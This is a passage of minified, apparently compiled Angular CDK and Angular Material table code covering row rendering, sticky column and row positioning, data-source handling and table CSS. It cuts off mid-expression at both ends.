new(Me||Ge)},Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["cdk-footer-row"],["tr","cdk-footer-row",""]],hostAttrs:["role","row",1,"cdk-footer-row"],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),R=(()=>{class Ge{}return Ge.\\u0275fac=function(Me){return new(Me||Ge)},Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["cdk-row"],["tr","cdk-row",""]],hostAttrs:["role","row",1,"cdk-row"],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),X=(()=>{class Ge{constructor(Me){this.templateRef=Me,this._contentClassName="cdk-no-data-row"}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.Rgc))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["ng-template","cdkNoDataRow",""]]}),Ge})();const _e=["top","bottom","left","right"];class ct{constructor(vt,Me,O,de,h=!0,$=!0,ke){this._isNativeHtmlTable=vt,this._stickCellCss=Me,this.direction=O,this._coalescedStyleScheduler=de,this._isBrowser=h,this._needsPositionStickyOnElement=$,this._positionListener=ke,this._cachedCellWidths=[],this._borderCellCss={top:`${Me}-border-elem-top`,bottom:`${Me}-border-elem-bottom`,left:`${Me}-border-elem-left`,right:`${Me}-border-elem-right`}}clearStickyPositioning(vt,Me){const O=[];for(const de of vt)if(de.nodeType===de.ELEMENT_NODE){O.push(de);for(let h=0;h<de.children.length;h++)O.push(de.children[h])}this._coalescedStyleScheduler.schedule(()=>{for(const de of O)this._removeStickyStyle(de,Me)})}updateStickyColumns(vt,Me,O,de=!0){if(!vt.length||!this._isBrowser||!Me.some(Qt=>Qt)&&!O.some(Qt=>Qt))return void(this._positionListener&&(this._positionListener.stickyColumnsUpdated({sizes:[]}),this._positionListener.stickyEndColumnsUpdated({sizes:[]})));const h=vt[0],$=h.children.length,ke=this._getCellWidths(h,de),lt=this._getStickyStartColumnPositions(ke,Me),Wt=this._getStickyEndColumnPositions(ke,O),p1=Me.lastIndexOf(!0),w1=O.indexOf(!0);this._coalescedStyleScheduler.schedule(()=>{const Qt="rtl"===this.direction,h1=Qt?"right":"left",N1=Qt?"left":"right";for(const Y1 of vt)for(let T1=0;T1<$;T1++){const V1=Y1.children[T1];Me[T1]&&this._addStickyStyle(V1,h1,lt[T1],T1===p1),O[T1]&&this._addStickyStyle(V1,N1,Wt[T1],T1===w1)}this._positionListener&&(this._positionListener.stickyColumnsUpdated({sizes:-1===p1?[]:ke.slice(0,p1+1).map((Y1,T1)=>Me[T1]?Y1:null)}),this._positionListener.stickyEndColumnsUpdated({sizes:-1===w1?[]:ke.slice(w1).map((Y1,T1)=>O[T1+w1]?Y1:null).reverse()}))})}stickRows(vt,Me,O){if(!this._isBrowser)return;const de="bottom"===O?vt.slice().reverse():vt,h="bottom"===O?Me.slice().reverse():Me,$=[],ke=[],lt=[];for(let p1=0,w1=0;p1<de.length;p1++){if(!h[p1])continue;$[p1]=w1;const Qt=de[p1];lt[p1]=this._isNativeHtmlTable?Array.from(Qt.children):[Qt];const h1=Qt.getBoundingClientRect().height;w1+=h1,ke[p1]=h1}const Wt=h.lastIndexOf(!0);this._coalescedStyleScheduler.schedule(()=>{for(let p1=0;p1<de.length;p1++){if(!h[p1])continue;const w1=$[p1],Qt=p1===Wt;for(const h1 of lt[p1])this._addStickyStyle(h1,O,w1,Qt)}"top"===O?this._positionListener?.stickyHeaderRowsUpdated({sizes:ke,offsets:$,elements:lt}):this._positionListener?.stickyFooterRowsUpdated({sizes:ke,offsets:$,elements:lt})})}updateStickyFooterContainer(vt,Me){if(!this._isNativeHtmlTable)return;const O=vt.querySelector("tfoot");this._coalescedStyleScheduler.schedule(()=>{Me.some(de=>!de)?this._removeStickyStyle(O,["bottom"]):this._addStickyStyle(O,"bottom",0,!1)})}_removeStickyStyle(vt,Me){for(const de of Me)vt.style[de]="",vt.classList.remove(this._borderCellCss[de]);_e.some(de=>-1===Me.indexOf(de)&&vt.style[de])?vt.style.zIndex=this._getCalculatedZIndex(vt):(vt.style.zIndex="",this._needsPositionStickyOnElement&&(vt.style.position=""),vt.classList.remove(this._stickCellCss))}_addStickyStyle(vt,Me,O,de){vt.classList.add(this._stickCellCss),de&&vt.classList.add(this._borderCellCss[Me]),vt.style[Me]=`${O}px`,vt.style.zIndex=this._getCalculatedZIndex(vt),this._needsPositionStickyOnElement&&(vt.style.cssText+="position: -webkit-sticky; position: sticky; ")}_getCalculatedZIndex(vt){const Me={top:100,bottom:10,left:1,right:1};let O=0;for(const de of _e)vt.style[de]&&(O+=Me[de]);return O?`${O}`:""}_getCellWidths(vt,Me=!0){if(!Me&&this._cachedCellWidths.length)return this._cachedCellWidths;const O=[],de=vt.children;for(let h=0;h<de.length;h++)O.push(de[h].getBoundingClientRect().width);return this._cachedCellWidths=O,O}_getStickyStartColumnPositions(vt,Me){const O=[];let de=0;for(let h=0;h<vt.length;h++)Me[h]&&(O[h]=de,de+=vt[h]);return O}_getStickyEndColumnPositions(vt,Me){const O=[];let de=0;for(let h=vt.length;h>0;h--)Me[h]&&(O[h]=de,de+=vt[h]);return O}}const b=new n.OlP("CDK_SPL");let ie=(()=>{class Ge{constructor(Me,O){this.viewContainer=Me,this.elementRef=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","rowOutlet",""]]}),Ge})(),Xe=(()=>{class Ge{constructor(Me,O){this.viewContainer=Me,this.elementRef=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","headerRowOutlet",""]]}),Ge})(),it=(()=>{class Ge{constructor(Me,O){this.viewContainer=Me,this.elementRef=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","footerRowOutlet",""]]}),Ge})(),wt=(()=>{class Ge{constructor(Me,O){this.viewContainer=Me,this.elementRef=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.s_b),n.Y36(n.SBq))},Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","noDataRowOutlet",""]]}),Ge})(),qt=(()=>{class Ge{constructor(Me,O,de,h,$,ke,lt,Wt,p1,w1,Qt,h1){this._differs=Me,this._changeDetectorRef=O,this._elementRef=de,this._dir=$,this._platform=lt,this._viewRepeater=Wt,this._coalescedStyleScheduler=p1,this._viewportRuler=w1,this._stickyPositioningListener=Qt,this._ngZone=h1,this._onDestroy=new _.xQ,this._columnDefsByName=new Map,this._customColumnDefs=new Set,this._customRowDefs=new Set,this._customHeaderRowDefs=new Set,this._customFooterRowDefs=new Set,this._headerRowDefChanged=!0,this._footerRowDefChanged=!0,this._stickyColumnStylesNeedReset=!0,this._forceRecalculateCellWidths=!0,this._cachedRenderRowsMap=new Map,this.stickyCssClass="cdk-table-sticky",this.needsPositionStickyOnElement=!0,this._isShowingNoDataRow=!1,this._multiTemplateDataRows=!1,this._fixedLayout=!1,this.contentChanged=new n.vpe,this.viewChange=new g.X({start:0,end:Number.MAX_VALUE}),h||this._elementRef.nativeElement.setAttribute("role","table"),this._document=ke,this._isNativeHtmlTable="TABLE"===this._elementRef.nativeElement.nodeName}get trackBy(){return this._trackByFn}set trackBy(Me){this._trackByFn=Me}get dataSource(){return this._dataSource}set dataSource(Me){this._dataSource!==Me&&this._switchDataSource(Me)}get multiTemplateDataRows(){return this._multiTemplateDataRows}set multiTemplateDataRows(Me){this._multiTemplateDataRows=(0,s.Ig)(Me),this._rowOutlet&&this._rowOutlet.viewContainer.length&&(this._forceRenderDataRows(),this.updateStickyColumnStyles())}get fixedLayout(){return this._fixedLayout}set fixedLayout(Me){this._fixedLayout=(0,s.Ig)(Me),this._forceRecalculateCellWidths=!0,this._stickyColumnStylesNeedReset=!0}ngOnInit(){this._setupStickyStyler(),this._isNativeHtmlTable&&this._applyNativeTableSections(),this._dataDiffer=this._differs.find([]).create((Me,O)=>this.trackBy?this.trackBy(O.dataIndex,O.data):O),this._viewportRuler.change().pipe((0,H.R)(this._onDestroy)).subscribe(()=>{this._forceRecalculateCellWidths=!0})}ngAfterContentChecked(){this._cacheRowDefs(),this._cacheColumnDefs();const O=this._renderUpdatedColumns()||this._headerRowDefChanged||this._footerRowDefChanged;this._stickyColumnStylesNeedReset=this._stickyColumnStylesNeedReset||O,this._forceRecalculateCellWidths=O,this._headerRowDefChanged&&(this._forceRenderHeaderRows(),this._headerRowDefChanged=!1),this._footerRowDefChanged&&(this._forceRenderFooterRows(),this._footerRowDefChanged=!1),this.dataSource&&this._rowDefs.length>0&&!this._renderChangeSubscription?this._observeRenderChanges():this._stickyColumnStylesNeedReset&&this.updateStickyColumnStyles(),this._checkStickyStates()}ngOnDestroy(){[this._rowOutlet.viewContainer,this._headerRowOutlet.viewContainer,this._footerRowOutlet.viewContainer,this._cachedRenderRowsMap,this._customColumnDefs,this._customRowDefs,this._customHeaderRowDefs,this._customFooterRowDefs,this._columnDefsByName].forEach(Me=>{Me.clear()}),this._headerRowDefs=[],this._footerRowDefs=[],this._defaultRowDef=null,this._onDestroy.next(),this._onDestroy.complete(),(0,u.Z9)(this.dataSource)&&this.dataSource.disconnect(this)}renderRows(){this._renderRows=this._getAllRenderRows();const Me=this._dataDiffer.diff(this._renderRows);if(!Me)return this._updateNoDataRow(),void this.contentChanged.next();const O=this._rowOutlet.viewContainer;this._viewRepeater.applyChanges(Me,O,(de,h,$)=>this._getEmbeddedViewArgs(de.item,$),de=>de.item.data,de=>{1===de.operation&&de.context&&this._renderCellTemplateForItem(de.record.item.rowDef,de.context)}),this._updateRowIndexContext(),Me.forEachIdentityChange(de=>{O.get(de.currentIndex).context.$implicit=de.item.data}),this._updateNoDataRow(),this._ngZone&&n.R0b.isInAngularZone()?this._ngZone.onStable.pipe((0,j.q)(1),(0,H.R)(this._onDestroy)).subscribe(()=>{this.updateStickyColumnStyles()}):this.updateStickyColumnStyles(),this.contentChanged.next()}addColumnDef(Me){this._customColumnDefs.add(Me)}removeColumnDef(Me){this._customColumnDefs.delete(Me)}addRowDef(Me){this._customRowDefs.add(Me)}removeRowDef(Me){this._customRowDefs.delete(Me)}addHeaderRowDef(Me){this._customHeaderRowDefs.add(Me),this._headerRowDefChanged=!0}removeHeaderRowDef(Me){this._customHeaderRowDefs.delete(Me),this._headerRowDefChanged=!0}addFooterRowDef(Me){this._customFooterRowDefs.add(Me),this._footerRowDefChanged=!0}removeFooterRowDef(Me){this._customFooterRowDefs.delete(Me),this._footerRowDefChanged=!0}setNoDataRow(Me){this._customNoDataRow=Me}updateStickyHeaderRowStyles(){const Me=this._getRenderedRows(this._headerRowOutlet),de=this._elementRef.nativeElement.querySelector("thead");de&&(de.style.display=Me.length?"":"none");const h=this._headerRowDefs.map($=>$.sticky);this._stickyStyler.clearStickyPositioning(Me,["top"]),this._stickyStyler.stickRows(Me,h,"top"),this._headerRowDefs.forEach($=>$.resetStickyChanged())}updateStickyFooterRowStyles(){const Me=this._getRenderedRows(this._footerRowOutlet),de=this._elementRef.nativeElement.querySelector("tfoot");de&&(de.style.display=Me.length?"":"none");const h=this._footerRowDefs.map($=>$.sticky);this._stickyStyler.clearStickyPositioning(Me,["bottom"]),this._stickyStyler.stickRows(Me,h,"bottom"),this._stickyStyler.updateStickyFooterContainer(this._elementRef.nativeElement,h),this._footerRowDefs.forEach($=>$.resetStickyChanged())}updateStickyColumnStyles(){const Me=this._getRenderedRows(this._headerRowOutlet),O=this._getRenderedRows(this._rowOutlet),de=this._getRenderedRows(this._footerRowOutlet);(this._isNativeHtmlTable&&!this._fixedLayout||this._stickyColumnStylesNeedReset)&&(this._stickyStyler.clearStickyPositioning([...Me,...O,...de],["left","right"]),this._stickyColumnStylesNeedReset=!1),Me.forEach((h,$)=>{this._addStickyColumnStyles([h],this._headerRowDefs[$])}),this._rowDefs.forEach(h=>{const $=[];for(let ke=0;ke<O.length;ke++)this._renderRows[ke].rowDef===h&&$.push(O[ke]);this._addStickyColumnStyles($,h)}),de.forEach((h,$)=>{this._addStickyColumnStyles([h],this._footerRowDefs[$])}),Array.from(this._columnDefsByName.values()).forEach(h=>h.resetStickyChanged())}_getAllRenderRows(){const Me=[],O=this._cachedRenderRowsMap;this._cachedRenderRowsMap=new Map;for(let de=0;de<this._data.length;de++){let h=this._data[de];const $=this._getRenderRowsForData(h,de,O.get(h));this._cachedRenderRowsMap.has(h)||this._cachedRenderRowsMap.set(h,new WeakMap);for(let ke=0;ke<$.length;ke++){let lt=$[ke];const Wt=this._cachedRenderRowsMap.get(lt.data);Wt.has(lt.rowDef)?Wt.get(lt.rowDef).push(lt):Wt.set(lt.rowDef,[lt]),Me.push(lt)}}return Me}_getRenderRowsForData(Me,O,de){return this._getRowDefs(Me,O).map($=>{const ke=de&&de.has($)?de.get($):[];if(ke.length){const lt=ke.shift();return lt.dataIndex=O,lt}return{data:Me,rowDef:$,dataIndex:O}})}_cacheColumnDefs(){this._columnDefsByName.clear(),u1(this._getOwnDefs(this._contentColumnDefs),this._customColumnDefs).forEach(O=>{this._columnDefsByName.has(O.name),this._columnDefsByName.set(O.name,O)})}_cacheRowDefs(){this._headerRowDefs=u1(this._getOwnDefs(this._contentHeaderRowDefs),this._customHeaderRowDefs),this._footerRowDefs=u1(this._getOwnDefs(this._contentFooterRowDefs),this._customFooterRowDefs),this._rowDefs=u1(this._getOwnDefs(this._contentRowDefs),this._customRowDefs);const Me=this._rowDefs.filter(O=>!O.when);this._defaultRowDef=Me[0]}_renderUpdatedColumns(){const Me=($,ke)=>$||!!ke.getColumnsDiff(),O=this._rowDefs.reduce(Me,!1);O&&this._forceRenderDataRows();const de=this._headerRowDefs.reduce(Me,!1);de&&this._forceRenderHeaderRows();const h=this._footerRowDefs.reduce(Me,!1);return h&&this._forceRenderFooterRows(),O||de||h}_switchDataSource(Me){this._data=[],(0,u.Z9)(this.dataSource)&&this.dataSource.disconnect(this),this._renderChangeSubscription&&(this._renderChangeSubscription.unsubscribe(),this._renderChangeSubscription=null),Me||(this._dataDiffer&&this._dataDiffer.diff([]),this._rowOutlet.viewContainer.clear()),this._dataSource=Me}_observeRenderChanges(){if(!this.dataSource)return;let Me;(0,u.Z9)(this.dataSource)?Me=this.dataSource.connect(this):(0,C.b)(this.dataSource)?Me=this.dataSource:Array.isArray(this.dataSource)&&(Me=(0,z.of)(this.dataSource)),this._renderChangeSubscription=Me.pipe((0,H.R)(this._onDestroy)).subscribe(O=>{this._data=O||[],this.renderRows()})}_forceRenderHeaderRows(){this._headerRowOutlet.viewContainer.length>0&&this._headerRowOutlet.viewContainer.clear(),this._headerRowDefs.forEach((Me,O)=>this._renderRow(this._headerRowOutlet,Me,O)),this.updateStickyHeaderRowStyles()}_forceRenderFooterRows(){this._footerRowOutlet.viewContainer.length>0&&this._footerRowOutlet.viewContainer.clear(),this._footerRowDefs.forEach((Me,O)=>this._renderRow(this._footerRowOutlet,Me,O)),this.updateStickyFooterRowStyles()}_addStickyColumnStyles(Me,O){const de=Array.from(O.columns||[]).map(ke=>this._columnDefsByName.get(ke)),h=de.map(ke=>ke.sticky),$=de.map(ke=>ke.stickyEnd);this._stickyStyler.updateStickyColumns(Me,h,$,!this._fixedLayout||this._forceRecalculateCellWidths)}_getRenderedRows(Me){const O=[];for(let de=0;de<Me.viewContainer.length;de++){const h=Me.viewContainer.get(de);O.push(h.rootNodes[0])}return O}_getRowDefs(Me,O){if(1==this._rowDefs.length)return[this._rowDefs[0]];let de=[];if(this.multiTemplateDataRows)de=this._rowDefs.filter(h=>!h.when||h.when(O,Me));else{let h=this._rowDefs.find($=>$.when&&$.when(O,Me))||this._defaultRowDef;h&&de.push(h)}return de}_getEmbeddedViewArgs(Me,O){return{templateRef:Me.rowDef.template,context:{$implicit:Me.data},index:O}}_renderRow(Me,O,de,h={}){const $=Me.viewContainer.createEmbeddedView(O.template,h,de);return this._renderCellTemplateForItem(O,h),$}_renderCellTemplateForItem(Me,O){for(let de of this._getCellTemplates(Me))pe.mostRecentCellOutlet&&pe.mostRecentCellOutlet._viewContainer.createEmbeddedView(de,O);this._changeDetectorRef.markForCheck()}_updateRowIndexContext(){const Me=this._rowOutlet.viewContainer;for(let O=0,de=Me.length;O<de;O++){const $=Me.get(O).context;$.count=de,$.first=0===O,$.last=O===de-1,$.even=O%2==0,$.odd=!$.even,this.multiTemplateDataRows?($.dataIndex=this._renderRows[O].dataIndex,$.renderIndex=O):$.index=this._renderRows[O].dataIndex}}_getCellTemplates(Me){return Me&&Me.columns?Array.from(Me.columns,O=>{const de=this._columnDefsByName.get(O);return Me.extractCellTemplate(de)}):[]}_applyNativeTableSections(){const Me=this._document.createDocumentFragment(),O=[{tag:"thead",outlets:[this._headerRowOutlet]},{tag:"tbody",outlets:[this._rowOutlet,this._noDataRowOutlet]},{tag:"tfoot",outlets:[this._footerRowOutlet]}];for(const de of O){const h=this._document.createElement(de.tag);h.setAttribute("role","rowgroup");for(const $ of de.outlets)h.appendChild($.elementRef.nativeElement);Me.appendChild(h)}this._elementRef.nativeElement.appendChild(Me)}_forceRenderDataRows(){this._dataDiffer.diff([]),this._rowOutlet.viewContainer.clear(),this.renderRows()}_checkStickyStates(){const Me=(O,de)=>O||de.hasStickyChanged();this._headerRowDefs.reduce(Me,!1)&&this.updateStickyHeaderRowStyles(),this._footerRowDefs.reduce(Me,!1)&&this.updateStickyFooterRowStyles(),Array.from(this._columnDefsByName.values()).reduce(Me,!1)&&(this._stickyColumnStylesNeedReset=!0,this.updateStickyColumnStyles())}_setupStickyStyler(){this._stickyStyler=new ct(this._isNativeHtmlTable,this.stickyCssClass,this._dir?this._dir.value:"ltr",this._coalescedStyleScheduler,this._platform.isBrowser,this.needsPositionStickyOnElement,this._stickyPositioningListener),(this._dir?this._dir.change:(0,z.of)()).pipe((0,H.R)(this._onDestroy)).subscribe(O=>{this._stickyStyler.direction=O,this.updateStickyColumnStyles()})}_getOwnDefs(Me){return Me.filter(O=>!O._table||O._table===this)}_updateNoDataRow(){const Me=this._customNoDataRow||this._noDataRow;if(!Me)return;const O=0===this._rowOutlet.viewContainer.length;if(O===this._isShowingNoDataRow)return;const de=this._noDataRowOutlet.viewContainer;if(O){const h=de.createEmbeddedView(Me.templateRef),$=h.rootNodes[0];1===h.rootNodes.length&&$?.nodeType===this._document.ELEMENT_NODE&&($.setAttribute("role","row"),$.classList.add(Me._contentClassName))}else de.clear();this._isShowingNoDataRow=O}}return Ge.\\u0275fac=function(Me){return new(Me||Ge)(n.Y36(n.ZZ4),n.Y36(n.sBO),n.Y36(n.SBq),n.$8M("role"),n.Y36(a.Is,8),n.Y36(E.K0),n.Y36(c.t4),n.Y36(u.k),n.Y36(qe),n.Y36(f.rL),n.Y36(b,12),n.Y36(n.R0b,8))},Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["cdk-table"],["table","cdk-table",""]],contentQueries:function(Me,O,de){if(1&Me&&(n.Suo(de,X,5),n.Suo(de,je,5),n.Suo(de,Be,5),n.Suo(de,re,5),n.Suo(de,xt,5)),2&Me){let h;n.iGM(h=n.CRH())&&(O._noDataRow=h.first),n.iGM(h=n.CRH())&&(O._contentColumnDefs=h),n.iGM(h=n.CRH())&&(O._contentRowDefs=h),n.iGM(h=n.CRH())&&(O._contentHeaderRowDefs=h),n.iGM(h=n.CRH())&&(O._contentFooterRowDefs=h)}},viewQuery:function(Me,O){if(1&Me&&(n.Gf(ie,7),n.Gf(Xe,7),n.Gf(it,7),n.Gf(wt,7)),2&Me){let de;n.iGM(de=n.CRH())&&(O._rowOutlet=de.first),n.iGM(de=n.CRH())&&(O._headerRowOutlet=de.first),n.iGM(de=n.CRH())&&(O._footerRowOutlet=de.first),n.iGM(de=n.CRH())&&(O._noDataRowOutlet=de.first)}},hostAttrs:[1,"cdk-table"],hostVars:2,hostBindings:function(Me,O){2&Me&&n.ekj("cdk-table-fixed-layout",O.fixedLayout)},inputs:{trackBy:"trackBy",dataSource:"dataSource",multiTemplateDataRows:"multiTemplateDataRows",fixedLayout:"fixedLayout"},outputs:{contentChanged:"contentChanged"},exportAs:["cdkTable"],features:[n._Bn([{provide:k,useExisting:Ge},{provide:u.k,useClass:u.yy},{provide:qe,useClass:Ke},{provide:b,useValue:null}])],ngContentSelectors:G,decls:6,vars:0,consts:[["headerRowOutlet",""],["rowOutlet",""],["noDataRowOutlet",""],["footerRowOutlet",""]],template:function(Me,O){1&Me&&(n.F$t(U),n.Hsn(0),n.Hsn(1,1),n.GkF(2,0)(3,1)(4,2)(5,3))},dependencies:[ie,Xe,it,wt],styles:[".cdk-table-fixed-layout{table-layout:fixed}"],encapsulation:2}),Ge})();function u1(Ge,vt){return Ge.concat(Array.from(vt))}let _t=(()=>{class Ge{}return Ge.\\u0275fac=function(Me){return new(Me||Ge)},Ge.\\u0275mod=n.oAB({type:Ge}),Ge.\\u0275inj=n.cJS({imports:[f.Cl]}),Ge})();var kt=d(3238),Fe=d(6787),be=d(3426),Pe=d(4850);const Re=[[["caption"]],[["colgroup"],["col"]]],Ue=["caption","colgroup, col"];let mt=(()=>{class Ge extends qt{constructor(){super(...arguments),this.stickyCssClass="mat-table-sticky",this.needsPositionStickyOnElement=!1}}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["mat-table"],["table","mat-table",""]],hostAttrs:[1,"mat-table"],hostVars:2,hostBindings:function(Me,O){2&Me&&n.ekj("mat-table-fixed-layout",O.fixedLayout)},exportAs:["matTable"],features:[n._Bn([{provide:u.k,useClass:u.yy},{provide:qt,useExisting:Ge},{provide:k,useExisting:Ge},{provide:qe,useClass:Ke},{provide:b,useValue:null}]),n.qOj],ngContentSelectors:Ue,decls:6,vars:0,consts:[["headerRowOutlet",""],["rowOutlet",""],["noDataRowOutlet",""],["footerRowOutlet",""]],template:function(Me,O){1&Me&&(n.F$t(Re),n.Hsn(0),n.Hsn(1,1),n.GkF(2,0)(3,1)(4,2)(5,3))},dependencies:[ie,Xe,it,wt],styles:["mat-table{display:block}mat-header-row{min-height:56px}mat-row,mat-footer-row{min-height:48px}mat-row,mat-header-row,mat-footer-row{display:flex;border-width:0;border-bottom-width:1px;border-style:solid;align-items:center;box-sizing:border-box}mat-cell:first-of-type,mat-header-cell:first-of-type,mat-footer-cell:first-of-type{padding-left:24px}[dir=rtl] mat-cell:first-of-type:not(:only-of-type),[dir=rtl] mat-header-cell:first-of-type:not(:only-of-type),[dir=rtl] mat-footer-cell:first-of-type:not(:only-of-type){padding-left:0;padding-right:24px}mat-cell:last-of-type,mat-header-cell:last-of-type,mat-footer-cell:last-of-type{padding-right:24px}[dir=rtl] mat-cell:last-of-type:not(:only-of-type),[dir=rtl] mat-header-cell:last-of-type:not(:only-of-type),[dir=rtl] mat-footer-cell:last-of-type:not(:only-of-type){padding-right:0;padding-left:24px}mat-cell,mat-header-cell,mat-footer-cell{flex:1;display:flex;align-items:center;overflow:hidden;word-wrap:break-word;min-height:inherit}table.mat-table{border-spacing:0}tr.mat-header-row{height:56px}tr.mat-row,tr.mat-footer-row{height:48px}th.mat-header-cell{text-align:left}[dir=rtl] th.mat-header-cell{text-align:right}th.mat-header-cell,td.mat-cell,td.mat-footer-cell{padding:0;border-bottom-width:1px;border-bottom-style:solid}th.mat-header-cell:first-of-type,td.mat-cell:first-of-type,td.mat-footer-cell:first-of-type{padding-left:24px}[dir=rtl] th.mat-header-cell:first-of-type:not(:only-of-type),[dir=rtl] td.mat-cell:first-of-type:not(:only-of-type),[dir=rtl] td.mat-footer-cell:first-of-type:not(:only-of-type){padding-left:0;padding-right:24px}th.mat-header-cell:last-of-type,td.mat-cell:last-of-type,td.mat-footer-cell:last-of-type{padding-right:24px}[dir=rtl] th.mat-header-cell:last-of-type:not(:only-of-type),[dir=rtl] td.mat-cell:last-of-type:not(:only-of-type),[dir=rtl] td.mat-footer-cell:last-of-type:not(:only-of-type){padding-right:0;padding-left:24px}.mat-table-sticky{position:sticky !important}.mat-table-fixed-layout{table-layout:fixed}"],encapsulation:2}),Ge})(),Ct=(()=>{class Ge extends se{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matCellDef",""]],features:[n._Bn([{provide:se,useExisting:Ge}]),n.qOj]}),Ge})(),jt=(()=>{class Ge extends ee{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matHeaderCellDef",""]],features:[n._Bn([{provide:ee,useExisting:Ge}]),n.qOj]}),Ge})(),pt=(()=>{class Ge extends q{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matFooterCellDef",""]],features:[n._Bn([{provide:q,useExisting:Ge}]),n.qOj]}),Ge})(),nt=(()=>{class Ge extends je{get name(){return this._name}set name(Me){this._setNameInput(Me)}_updateColumnCssClassName(){super._updateColumnCssClassName(),this._columnCssClassName.push(`mat-column-${this.cssClassFriendlyName}`)}}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matColumnDef",""]],inputs:{sticky:"sticky",name:["matColumnDef","name"]},features:[n._Bn([{provide:je,useExisting:Ge},{provide:"MAT_SORT_HEADER_COLUMN_DEF",useExisting:Ge}]),n.qOj]}),Ge})(),fe=(()=>{class Ge extends le{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["mat-header-cell"],["th","mat-header-cell",""]],hostAttrs:["role","columnheader",1,"mat-header-cell"],features:[n.qOj]}),Ge})(),Ee=(()=>{class Ge extends Oe{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["mat-footer-cell"],["td","mat-footer-cell",""]],hostAttrs:["role","gridcell",1,"mat-footer-cell"],features:[n.qOj]}),Ge})(),at=(()=>{class Ge extends Qe{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["mat-cell"],["td","mat-cell",""]],hostAttrs:["role","gridcell",1,"mat-cell"],features:[n.qOj]}),Ge})(),Se=(()=>{class Ge extends re{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matHeaderRowDef",""]],inputs:{columns:["matHeaderRowDef","columns"],sticky:["matHeaderRowDefSticky","sticky"]},features:[n._Bn([{provide:re,useExisting:Ge}]),n.qOj]}),Ge})(),ot=(()=>{class Ge extends xt{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matFooterRowDef",""]],inputs:{columns:["matFooterRowDef","columns"],sticky:["matFooterRowDefSticky","sticky"]},features:[n._Bn([{provide:xt,useExisting:Ge}]),n.qOj]}),Ge})(),Ne=(()=>{class Ge extends Be{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275dir=n.lG2({type:Ge,selectors:[["","matRowDef",""]],inputs:{columns:["matRowDefColumns","columns"],when:["matRowDefWhen","when"]},features:[n._Bn([{provide:Be,useExisting:Ge}]),n.qOj]}),Ge})(),ut=(()=>{class Ge extends P{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["mat-header-row"],["tr","mat-header-row",""]],hostAttrs:["role","row",1,"mat-header-row"],exportAs:["matHeaderRow"],features:[n._Bn([{provide:P,useExisting:Ge}]),n.qOj],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),Rt=(()=>{class Ge extends w{}return Ge.\\u0275fac=function(){let vt;return function(O){return(vt||(vt=n.n5z(Ge)))(O||Ge)}}(),Ge.\\u0275cmp=n.Xpm({type:Ge,selectors:[["mat-footer-row"],["tr","mat-footer-row",""]],hostAttrs:["role","row",1,"mat-footer-row"],exportAs:["matFooterRow"],features:[n._Bn([{provide:w,useExisting:Ge}]),n.qOj],decls:1,vars:0,consts:[["cdkCellOutlet",""]],template:function(Me,O){1&Me&&n.GkF(0,0)},dependencies:[pe],encapsulation:2}),Ge})(),Zt=(()=>{class Ge extends R{}return Ge.\\u0275fac=function(){let vt;return 